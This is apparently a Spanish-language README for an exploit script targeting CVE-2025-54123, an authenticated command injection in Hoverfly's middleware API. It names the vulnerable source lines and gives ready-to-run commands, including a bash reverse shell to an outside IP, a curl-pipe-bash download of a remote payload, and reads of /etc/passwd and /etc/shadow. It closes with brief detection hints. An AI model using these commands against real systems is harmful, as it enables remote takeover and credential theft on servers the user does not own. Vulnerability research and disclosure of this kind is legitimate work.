
CVE-2025-54123 Hoverfly Middleware Autenticado Inyección de Comandos RCE
Inyección de Comandos en Middleware Autenticado de Hoverfly RCE | CVSS 9.8 CRÍTICO
Hoverfly <= 1.11.3 es vulnerable a inyección de comandos autenticada a través del endpoint /api/v2/hoverfly/middleware. Se requieren credenciales de administrador, pero una vez autenticado, la funcionalidad de middleware acepta valores binarios y de script proporcionados por el usuario sin validación, permitiendo la ejecución arbitraria de comandos.
middleware.go acepta rutas binarias arbitrariaslocal_middleware.go pasa directamente la entrada del usuario a exec.Command()hoverfly_service.go ejecuta el middleware durante la validaciónpython3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Hoverfly API endpoint (required)-u, --username - Admin username (required)-p, --password - Admin password (required)-c, --command - Command to execute (required)--shell - Shell binary to use (default: /bin/bash)# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware con un payload malicioso/tmp/hoverfly_<random><shell> /tmp/hoverfly_<random>{
"binary": "/bin/bash",
"script": "whoami"
}
Los encabezados HTTP incluyen:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - Sin validación de entrada en el parámetro binariocore/middleware/local_middleware.go:14-19 - Uso inseguro de exec.Command()core/hoverfly_service.go:173 - Ejecución inmediata durante la validaciónBusque:
/api/v2/hoverfly/middleware/tmp/hoverfly//api/v2/hoverfly/middlewareDescubrimiento original: @Kr1shna4garwal